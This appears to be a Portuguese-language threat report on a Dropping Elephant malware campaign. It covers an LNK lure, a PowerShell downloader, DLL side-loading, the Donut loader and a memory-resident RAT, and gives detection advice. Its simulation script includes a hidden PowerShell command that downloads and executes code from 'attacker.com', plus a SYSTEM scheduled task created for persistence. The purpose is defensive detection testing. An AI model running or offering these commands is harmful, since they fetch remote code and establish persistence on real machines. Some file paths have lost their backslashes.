Malware em Alta: Dentro da Cadeia de Loader do Dropping Elephant

SOC Prime Team

Seguir

Malware em Alta: Dentro da Cadeia de Loader do Dropping Elephant

Detection stack

AIDR
Alert
ETL
Query

Relatório de Ameaça
Fluxo de Ataque
Detecções
Simulações

Resumo

Uma campanha sofisticada atribuída ao Dropping Elephant utiliza documentos de isca temáticos da China para entregar um trojan de acesso remoto atualizado e residente em memória. A invasão depende do carregamento de DLL através de um binário legítimo da Microsoft e do carregador de shellcode Donut para evitar a detecção baseada em disco. A carga final também utiliza métodos avançados de evasão, incluindo achatamento de fluxo de controle e reconstrução de API em tempo de execução.

Investigação

Pesquisadores da Rapid7 descobriram a ameaça durante uma caça proativa que começou com um atalho malicioso do Windows disfarçado de documento PDF. Sua investigação seguiu a cadeia de carga útil desde o estágio inicial em chinagreenenergy[.]org através do carregamento de DLL de APPWIZ.cpl até a execução de um RAT em memória. A análise em nível de código com Diaphora confirmou uma linhagem comum com amostras anteriores do Dropping Elephant, apesar de extensa reformulação.

Mitigação

Os defensores devem priorizar detecções comportamentais, como arquivos de atalho lançando PowerShell e estágio de carga útil suspeito em C:UsersPublic. Monitorar tarefas agendadas com nomes incomuns e identificar o carregamento de DLL de diretórios inesperados também é importante. Além disso, defesas em endpoints precisam de visibilidade em nível de memória para detectar alterações no AMSI, WLDP e ETW.

Resposta

Se essa atividade for detectada, isole imediatamente os sistemas afetados para interromper o tráfego de comando e controle. Realize forense na memória para identificar o RAT injetado e inspecione as tarefas agendadas para persistência. Logs de rede também devem ser revisados para tráfego HTTPS não autorizado para os domínios de C2 conhecidos e para quaisquer sinais de exfiltração de arquivos.

graph TB %% Definições de classes classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% Definições dos nós %% Acesso inicial e execução action_user_exec[“Ação – T1204.002 Execução pelo Utilizador: Ficheiro Malicioso A vítima executa um ficheiro de atalho malicioso Ficheiro: GRES3001.lnk Disfarce: Ícone PDF”] class action_user_exec action action_icon_smuggling[“Ação – T1027.012 Ficheiros ou Informação Ofuscados: Ocultação por Ícone LNK Engana o utilizador através da manipulação de ícones Método: Falsificação do ícone de ficheiro LNK”] class action_icon_smuggling action %% Fase do descarregador process_conhost[“Processo – conhost.exe Processo anfitrião para janelas de consola Função: Inicia o descarregador PowerShell”] class process_conhost process action_binary_padding[“Ação – T1027.001 Ficheiros ou Informação Ofuscados: Preenchimento Binário Utiliza ofuscação por divisão de cadeias de texto Alvo: Script descarregador PowerShell”] class action_binary_padding action tool_downloader[“Ferramenta – Descarregador PowerShell Obtém ficheiros de isco e cargas maliciosas Origem: chinagreenenergy[.]org”] class tool_downloader tool %% Pós-descarregamento e persistência action_masquerading[“Ação – T1036.008 Mascaramento: Mascarar Tipo de Ficheiro Renomeia ficheiros para parecerem legítimos Diretório: C:\\Users\\Public\\”] class action_masquerading action action_persistence[“Ação – T1546 Execução Acionada por Evento Garante persistência através de uma tarefa agendada Nome da Tarefa: GoogleErrorReport Intervalo: A cada minuto”] class action_persistence action %% Cadeia de execução e side-loading action_proxy_exec[“Ação – T1218.002 Execução Proxy de Binário do Sistema: Painel de Controlo Utiliza um binário legítimo para executar o carregador Binário: Fondue.exe”] class action_proxy_exec action tool_loader_cpl[“Ferramenta – APPWIZ.cpl Carregador malicioso do Painel de Controlo Método: DLL Side-loading”] class tool_loader_cpl tool action_reflective_load[“Ação – T1620 Carregamento Refletivo de Código Mapeia código diretamente na memória Carregador: Carregador de shellcode Donut”] class action_reflective_load action %% Pós-exploração e C2 malware_rat[“Malware – RAT Trojan de Acesso Remoto Estado: Residente na memória”] class malware_rat malware action_gather_info[“Ação – T1592 Recolher Informação do Sistema da Vítima Recolhe metadados do sistema Dados: Nome de utilizador, nome do computador, SO, IP”] class action_gather_info action action_c2[“Ação – TA0011 Comando e Controlo Mantém comunicação através de HTTPS Domínio: gcl-power[.]org”] class action_c2 action action_exfiltration[“Ação – Captura de Ecrã e Exfiltração T1113 Captura de Ecrã Objetivo: Roubo de dados”] class action_exfiltration action %% Fluxo de ligações action_user_exec –>|leva_a| action_icon_smuggling action_icon_smuggling –>|aciona| process_conhost process_conhost –>|utiliza| action_binary_padding action_binary_padding –>|executa| tool_downloader tool_downloader –>|descarrega_para| action_masquerading action_masquerading –>|configura| action_persistence action_persistence –>|aciona| action_proxy_exec action_proxy_exec –>|carrega| tool_loader_cpl tool_loader_cpl –>|utiliza| action_reflective_load action_reflective_load –>|instala| malware_rat malware_rat –>|executa| action_gather_info malware_rat –>|estabelece| action_c2 action_c2 –>|facilita| action_exfiltration

Fluxo de Ataque

Narrativa & Comandos de Ataque: O adversário visa estabelecer persistência e executar um downloader. Para evitar filtragens padrão de e-mails, eles usam um arquivo de atalho chamado GRES3001.lnk que aparece como um PDF. Quando clicado, ele chama conhost.exe para executar um script PowerShell. Simultaneamente, eles estabelecem persistência criando uma tarefa agendada chamada GoogleErrorReport projetada para executar Fondue.exe de um diretório público, disfarçado como um legítimo relator de erro do Google para evitar inspeção casual.

Script de Teste de Regressão:

# 1. Simular o comportamento de Atalho/Conhost
# Simulamos a execução de conhost.exe com a string específica na linha de comando
Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" 
# Nota: Para corresponder estritamente à 'CommandLine contains GRES3001.lnk', simulamos a chamada de processo como se tivesse vindo desse arquivo.
# Como não podemos facilmente falsificar o nome do processo pai em um script simples, simulamos a string de linha de comando esperada.
Write-Host "[!] Simulando disparo do GRES3001.lnk..."
$SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'"
# Em um ambiente real, o campo 'CommandLine' no Sysmon conteria a string alvo.

# 2. Simular a Tarefa Agendada e o side-loading do Fondue.exe
Write-Host "[!] Simulando tarefa agendada GoogleErrorReport..."
New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force
Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload"

$TaskName = "GoogleErrorReport"
$Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe"
Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Tarefa Simulada Dropping Elephant" -User "SYSTEM" -Force

Write-Host "[+] Simulação Completa. Verifique SIEM para alertas."

Comandos de Limpeza:

# Remover o binário malware dummy
Remove-Item -Path "C:UsersPublicFondue.exe" -Force

# Remover a tarefa agendada maliciosa
Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false

Write-Host "[+] Limpeza Completa."

Junte-se à plataforma Detection as Code da SOC Prime para melhorar a visibilidade das ameaças mais relevantes para o seu negócio. Para ajudá-lo a começar e gerar valor imediato, agende uma reunião agora com os especialistas da SOC Prime.

Cadastre-se Gratuitamente